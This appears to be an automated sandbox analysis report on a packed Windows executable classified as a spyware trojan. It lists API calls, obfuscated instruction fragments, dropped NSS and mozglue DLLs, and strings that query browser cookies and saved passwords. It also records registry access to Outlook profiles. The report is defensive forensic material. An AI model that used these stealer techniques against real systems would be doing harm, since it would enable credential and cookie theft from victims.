Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB5B910 rand_s,NtQueryVirtualMemory,NtQueryVirtualMemory,RtlNtStatusToDosError,RtlSetLastWin32Error,GetLastError,	0_2_6CB5B910
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CAFF280 NtQueryVirtualMemory,GetProcAddress,NtQueryVirtualMemory,RtlNtStatusToDosError,RtlSetLastWin32Error,	0_2_6CAFF280

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00D488B1	0_2_00D488B1
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00C7E86B	0_2_00C7E86B
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00D529EF	0_2_00D529EF
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00D4A2DB	0_2_00D4A2DB
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00C52A37	0_2_00C52A37
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00D4F38B	0_2_00D4F38B
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00D57B78	0_2_00D57B78
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00D54446	0_2_00D54446
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00C33DD6	0_2_00C33DD6
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00D16547	0_2_00D16547
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00D59564	0_2_00D59564
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00D4BD2C	0_2_00D4BD2C
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00E10E8D	0_2_00E10E8D
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00D55EA6	0_2_00D55EA6
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00CCE7A1	0_2_00CCE7A1
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00D50F6F	0_2_00D50F6F
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00D05735	0_2_00D05735
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CAF35A0	0_2_6CAF35A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB534A0	0_2_6CB534A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB5C4A0	0_2_6CB5C4A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB06C80	0_2_6CB06C80
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB36CF0	0_2_6CB36CF0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CAFD4E0	0_2_6CAFD4E0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB1D4D0	0_2_6CB1D4D0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB064C0	0_2_6CB064C0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB6542B	0_2_6CB6542B
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB35C10	0_2_6CB35C10
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB42C10	0_2_6CB42C10
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB6AC00	0_2_6CB6AC00
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB6545C	0_2_6CB6545C
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB05440	0_2_6CB05440
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB585F0	0_2_6CB585F0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB30DD0	0_2_6CB30DD0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB20512	0_2_6CB20512
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB1ED10	0_2_6CB1ED10
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB0FD00	0_2_6CB0FD00
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB54EA0	0_2_6CB54EA0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB15E90	0_2_6CB15E90
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB5E680	0_2_6CB5E680
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB0FEF0	0_2_6CB0FEF0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB676E3	0_2_6CB676E3
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CAFBEF0	0_2_6CAFBEF0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB59E30	0_2_6CB59E30
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB37E10	0_2_6CB37E10
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB45600	0_2_6CB45600
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB66E63	0_2_6CB66E63
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CAFC670	0_2_6CAFC670
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB19E50	0_2_6CB19E50
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB33E50	0_2_6CB33E50
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB14640	0_2_6CB14640
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB42E4E	0_2_6CB42E4E
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB477A0	0_2_6CB477A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB26FF0	0_2_6CB26FF0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CAFDFE0	0_2_6CAFDFE0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB37710	0_2_6CB37710
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB09F00	0_2_6CB09F00
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB260A0	0_2_6CB260A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB1C0E0	0_2_6CB1C0E0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB358E0	0_2_6CB358E0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB650C7	0_2_6CB650C7
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB3B820	0_2_6CB3B820
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB44820	0_2_6CB44820
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB07810	0_2_6CB07810
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB3F070	0_2_6CB3F070
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB18850	0_2_6CB18850
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB1D850	0_2_6CB1D850
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB2D9B0	0_2_6CB2D9B0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CAFC9A0	0_2_6CAFC9A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB35190	0_2_6CB35190
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB52990	0_2_6CB52990
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB4B970	0_2_6CB4B970
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB6B170	0_2_6CB6B170
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB0D960	0_2_6CB0D960
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB1A940	0_2_6CB1A940
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB0CAB0	0_2_6CB0CAB0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB62AB0	0_2_6CB62AB0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CAF22A0	0_2_6CAF22A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB24AA0	0_2_6CB24AA0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB6BA90	0_2_6CB6BA90
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB11AF0	0_2_6CB11AF0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB3E2F0	0_2_6CB3E2F0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB38AC0	0_2_6CB38AC0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB39A60	0_2_6CB39A60
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CAFF380	0_2_6CAFF380
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB653C8	0_2_6CB653C8
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB3D320	0_2_6CB3D320
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB0C370	0_2_6CB0C370
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CAF5340	0_2_6CAF5340

Source: C:\Users\user\Desktop\file.exe	Code function: String function: 009A4610 appears 316 times
Source: C:\Users\user\Desktop\file.exe	Code function: String function: 6CB2CBE8 appears 134 times
Source: C:\Users\user\Desktop\file.exe	Code function: String function: 6CB394D0 appears 90 times

Source: file.exe, 00000000.00000002.2351341787.000000006CD75000.00000002.00000001.01000000.00000007.sdmp	Binary or memory string: OriginalFilenamenss3.dll0 vs file.exe
Source: file.exe, 00000000.00000002.2351122356.000000006CB82000.00000002.00000001.01000000.00000008.sdmp	Binary or memory string: OriginalFilenamemozglue.dll0 vs file.exe

Source: file.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: file.exe

Static PE information: Section: yfqrrzvu ZLIB complexity 0.9948734126835481

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@1/23@0/1

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6CB57030 GetLastError,FormatMessageA,__acrt_iob_func,__acrt_iob_func,__acrt_iob_func,fflush,LocalFree,

0_2_6CB57030

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_009B90A0 CreateToolhelp32Snapshot,Process32First,Process32Next,StrCmpCA,CloseHandle,

0_2_009B90A0

Source: C:\Users\user\Desktop\file.exe

File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\8HXJSKQQ\J6HS987L.htm

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: CREATE TABLE metaData (id PRIMARY KEY UNIQUE ON CONFLICT REPLACE, item1, item2);
Source: file.exe, 00000000.00000002.2351264056.000000006CD2F000.00000002.00000001.01000000.00000007.sdmp, file.exe, 00000000.00000002.2350921222.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.2336451975.000000001DBCB000.00000004.00000020.00020000.00000000.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr	Binary or memory string: UPDATE %Q.sqlite_master SET tbl_name = %Q, name = CASE WHEN type='table' THEN %Q WHEN name LIKE 'sqliteX_autoindex%%' ESCAPE 'X' AND type='index' THEN 'sqlite_autoindex_' \|\| %Q \|\| substr(name,%d+18) ELSE name END WHERE tbl_name=%Q COLLATE nocase AND (type='table' OR type='index' OR type='trigger');
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: SELECT ALL * FROM %s LIMIT 0;
Source: file.exe, 00000000.00000002.2351264056.000000006CD2F000.00000002.00000001.01000000.00000007.sdmp, file.exe, 00000000.00000002.2350921222.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.2336451975.000000001DBCB000.00000004.00000020.00020000.00000000.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr	Binary or memory string: CREATE TABLE %Q.'%q_docsize'(docid INTEGER PRIMARY KEY, size BLOB);
Source: file.exe, 00000000.00000002.2351264056.000000006CD2F000.00000002.00000001.01000000.00000007.sdmp, file.exe, 00000000.00000002.2350921222.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.2336451975.000000001DBCB000.00000004.00000020.00020000.00000000.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr	Binary or memory string: CREATE TABLE IF NOT EXISTS %Q.'%q_stat'(id INTEGER PRIMARY KEY, value BLOB);
Source: file.exe, 00000000.00000002.2351264056.000000006CD2F000.00000002.00000001.01000000.00000007.sdmp, file.exe, 00000000.00000002.2350921222.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.2336451975.000000001DBCB000.00000004.00000020.00020000.00000000.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr	Binary or memory string: CREATE TABLE %Q.'%q_segdir'(level INTEGER,idx INTEGER,start_block INTEGER,leaves_end_block INTEGER,end_block INTEGER,root BLOB,PRIMARY KEY(level, idx));
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: UPDATE %s SET %s WHERE id=$ID;
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: SELECT ALL * FROM metaData WHERE id=$ID;
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: SELECT ALL id FROM %s WHERE %s;
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: INSERT INTO metaData (id,item1) VALUES($ID,$ITEM1);
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: INSERT INTO %s (id%s) VALUES($ID%s);
Source: file.exe, 00000000.00000002.2322786488.000000000146E000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: SELECT host, isHttpOnly, path, isSecure, expiry, name, value FROM moz_cookies;
Source: file.exe, 00000000.00000002.2351264056.000000006CD2F000.00000002.00000001.01000000.00000007.sdmp, file.exe, 00000000.00000002.2350921222.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.2336451975.000000001DBCB000.00000004.00000020.00020000.00000000.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr	Binary or memory string: INSERT INTO %Q.sqlite_master VALUES('index',%Q,%Q,#%d,%Q);
Source: file.exe, 00000000.00000002.2351264056.000000006CD2F000.00000002.00000001.01000000.00000007.sdmp, file.exe, 00000000.00000002.2350921222.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.2336451975.000000001DBCB000.00000004.00000020.00020000.00000000.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr	Binary or memory string: CREATE TABLE %Q.'%q_segments'(blockid INTEGER PRIMARY KEY, block BLOB);
Source: file.exe, 00000000.00000002.2350921222.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.2336451975.000000001DBCB000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE x(addr INT,opcode TEXT,p1 INT,p2 INT,p3 INT,p4 TEXT,p5 INT,comment TEXT,subprog TEXT,stmt HIDDEN);
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: INSERT INTO metaData (id,item1,item2) VALUES($ID,$ITEM1,$ITEM2);
Source: file.exe, 00000000.00000003.2225384689.000000001DAE3000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2322786488.00000000014E6000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2211127900.000000001DAC8000.00000004.00000020.00020000.00000000.sdmp, GHIDHCBGDHJKEBGDGIJE.0.dr, BFHIJEBKEBGHIDHJKJEG.0.dr	Binary or memory string: CREATE TABLE password_notes (id INTEGER PRIMARY KEY AUTOINCREMENT, parent_id INTEGER NOT NULL REFERENCES logins ON UPDATE CASCADE ON DELETE CASCADE DEFERRABLE INITIALLY DEFERRED, key VARCHAR NOT NULL, value BLOB, date_created INTEGER NOT NULL, confidential INTEGER, UNIQUE (parent_id, key));
Source: file.exe, 00000000.00000002.2350921222.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.2336451975.000000001DBCB000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE "%w"."%w_parent"(nodeno INTEGER PRIMARY KEY,parentnode);
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: SELECT ALL * FROM %s LIMIT 0;CREATE TEMPORARY TABLE %s AS SELECT * FROM %sD
Source: file.exe, 00000000.00000002.2350921222.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.2336451975.000000001DBCB000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE x(type TEXT,schema TEXT,name TEXT,wr INT,subprog TEXT,stmt HIDDEN);
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: SELECT DISTINCT %s FROM %s where id=$ID LIMIT 1;

Source: file.exe

Virustotal: Detection: 40%

Source: file.exe

String found in binary or memory: 3Cannot find '%s'. Please, re-install this application

Source: C:\Users\user\Desktop\file.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: rstrtmgr.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: mozglue.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wsock32.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: vcruntime140.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: msvcp140.dll	Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{0358b920-0ac7-461f-98f4-58e32cd89148}\InProcServer32

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Key opened: HKEY_CURRENT_USER\Software\Microsoft\Office\13.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000001

Jump to behavior

Source: file.exe

Static file information: File size 1804288 > 1048576

Source: file.exe

Static PE information: Raw size of yfqrrzvu is bigger than: 0x100000 < 0x1a1200

Source:	Binary string: mozglue.pdbP source: file.exe, 00000000.00000002.2351088068.000000006CB6D000.00000002.00000001.01000000.00000008.sdmp, mozglue[1].dll.0.dr, mozglue.dll.0.dr
Source:	Binary string: freebl3.pdb source: freebl3[1].dll.0.dr, freebl3.dll.0.dr
Source:	Binary string: freebl3.pdbp source: freebl3[1].dll.0.dr, freebl3.dll.0.dr
Source:	Binary string: nss3.pdb@ source: file.exe, 00000000.00000002.2351264056.000000006CD2F000.00000002.00000001.01000000.00000007.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr
Source:	Binary string: softokn3.pdb@ source: softokn3[1].dll.0.dr, softokn3.dll.0.dr
Source:	Binary string: d:\agent\_work\1\s\binaries\x86ret\bin\i386\\vcruntime140.i386.pdb source: vcruntime140.dll.0.dr, vcruntime140[1].dll.0.dr
Source:	Binary string: d:\agent\_work\1\s\binaries\x86ret\bin\i386\\msvcp140.i386.pdb source: msvcp140[1].dll.0.dr, msvcp140.dll.0.dr
Source:	Binary string: nss3.pdb source: file.exe, 00000000.00000002.2351264056.000000006CD2F000.00000002.00000001.01000000.00000007.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr
Source:	Binary string: mozglue.pdb source: file.exe, 00000000.00000002.2351088068.000000006CB6D000.00000002.00000001.01000000.00000008.sdmp, mozglue[1].dll.0.dr, mozglue.dll.0.dr
Source:	Binary string: softokn3.pdb source: softokn3[1].dll.0.dr, softokn3.dll.0.dr

Data Obfuscation

Detected unpacking (changes PE section rights)

Source: C:\Users\user\Desktop\file.exe

Unpacked PE file: 0.2.file.exe.9a0000.0.unpack :EW;.rsrc :W;.idata :W; :EW;yfqrrzvu:EW;zneyrevn:EW;.taggant:EW; vs :ER;.rsrc :W;.idata :W; :EW;yfqrrzvu:EW;zneyrevn:EW;.taggant:EW;

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_009B9270 GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,LoadLibraryA,LoadLibraryA,LoadLibraryA,LoadLibraryA,LoadLibraryA,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,

0_2_009B9270

Source: initial sample

Static PE information: section where entry point is pointing to: .taggant

Source: file.exe

Static PE information: real checksum: 0x1c0912 should be: 0x1b966f

Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: .rsrc
Source: file.exe	Static PE information: section name: .idata
Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: yfqrrzvu
Source: file.exe	Static PE information: section name: zneyrevn
Source: file.exe	Static PE information: section name: .taggant
Source: mozglue[1].dll.0.dr	Static PE information: section name: .00cfg
Source: msvcp140.dll.0.dr	Static PE information: section name: .didat
Source: msvcp140[1].dll.0.dr	Static PE information: section name: .didat
Source: nss3.dll.0.dr	Static PE information: section name: .00cfg
Source: nss3[1].dll.0.dr	Static PE information: section name: .00cfg
Source: softokn3.dll.0.dr	Static PE information: section name: .00cfg
Source: softokn3[1].dll.0.dr	Static PE information: section name: .00cfg
Source: freebl3.dll.0.dr	Static PE information: section name: .00cfg
Source: freebl3[1].dll.0.dr	Static PE information: section name: .00cfg
Source: mozglue.dll.0.dr	Static PE information: section name: .00cfg

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00D82088 push 645A59CAh; mov dword ptr [esp], ebx	0_2_00D820F9
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00DA088D push 5508E839h; mov dword ptr [esp], edi	0_2_00DA0C72
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00DA088D push edi; mov dword ptr [esp], 1CC57818h	0_2_00DA0D71
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00DA088D push 6B43ADD3h; mov dword ptr [esp], edx	0_2_00DA0DE4
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00DFC0BD push edx; mov dword ptr [esp], 1FF7E9A0h	0_2_00DFC0E5
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00DFC0BD push edi; mov dword ptr [esp], eax	0_2_00DFC101
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00DFC0BD push 4934C91Ch; mov dword ptr [esp], ebp	0_2_00DFC16C
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00D488B1 push edx; mov dword ptr [esp], edi	0_2_00D488C1
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00D488B1 push edx; mov dword ptr [esp], ecx	0_2_00D4890D
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00D488B1 push esi; mov dword ptr [esp], 72E71D41h	0_2_00D489F4
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00D488B1 push 48426CC2h; mov dword ptr [esp], edi	0_2_00D48A37
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00D488B1 push edi; mov dword ptr [esp], 6BF27AD4h	0_2_00D48A64
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00D488B1 push 58C2C6EAh; mov dword ptr [esp], ebx	0_2_00D48ABB
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00D488B1 push 6D349B4Ah; mov dword ptr [esp], edx	0_2_00D48AD6
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00D488B1 push edi; mov dword ptr [esp], eax	0_2_00D48ADA
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00D488B1 push edx; mov dword ptr [esp], eax	0_2_00D48B94
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00D488B1 push eax; mov dword ptr [esp], 05506B60h	0_2_00D48BEB
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00D488B1 push 1910025Dh; mov dword ptr [esp], ebp	0_2_00D48C8C
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00D488B1 push esi; mov dword ptr [esp], edi	0_2_00D48C93
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00D488B1 push edi; mov dword ptr [esp], esi	0_2_00D48C9C
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00D488B1 push 4155CB96h; mov dword ptr [esp], eax	0_2_00D48CA6
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00D488B1 push 28163C06h; mov dword ptr [esp], edi	0_2_00D48D60
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00D488B1 push edi; mov dword ptr [esp], esi	0_2_00D48D6F
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00D488B1 push 5A1A40BFh; mov dword ptr [esp], ebx	0_2_00D48E26
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00D488B1 push ebp; mov dword ptr [esp], eax	0_2_00D48EA1
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00D488B1 push ebx; mov dword ptr [esp], 5FEFF641h	0_2_00D48EF1
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00D488B1 push eax; mov dword ptr [esp], esi	0_2_00D48F2A
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00D488B1 push eax; mov dword ptr [esp], 28AC11EDh	0_2_00D48F57
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00D488B1 push eax; mov dword ptr [esp], ebx	0_2_00D48F7F
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00D488B1 push 27F9E910h; mov dword ptr [esp], ebx	0_2_00D48FD3
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00D488B1 push ecx; mov dword ptr [esp], 1520B906h	0_2_00D49024

Source: file.exe

Static PE information: section name: yfqrrzvu entropy: 7.953093051520914

Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\softokn3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\freebl3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\nss3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\mozglue.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\msvcp140[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\msvcp140.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\mozglue[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\freebl3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\vcruntime140.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\nss3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\softokn3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\vcruntime140[1].dll	Jump to dropped file

Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\nss3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\mozglue.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\msvcp140.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\freebl3.dll	Jump to dropped file
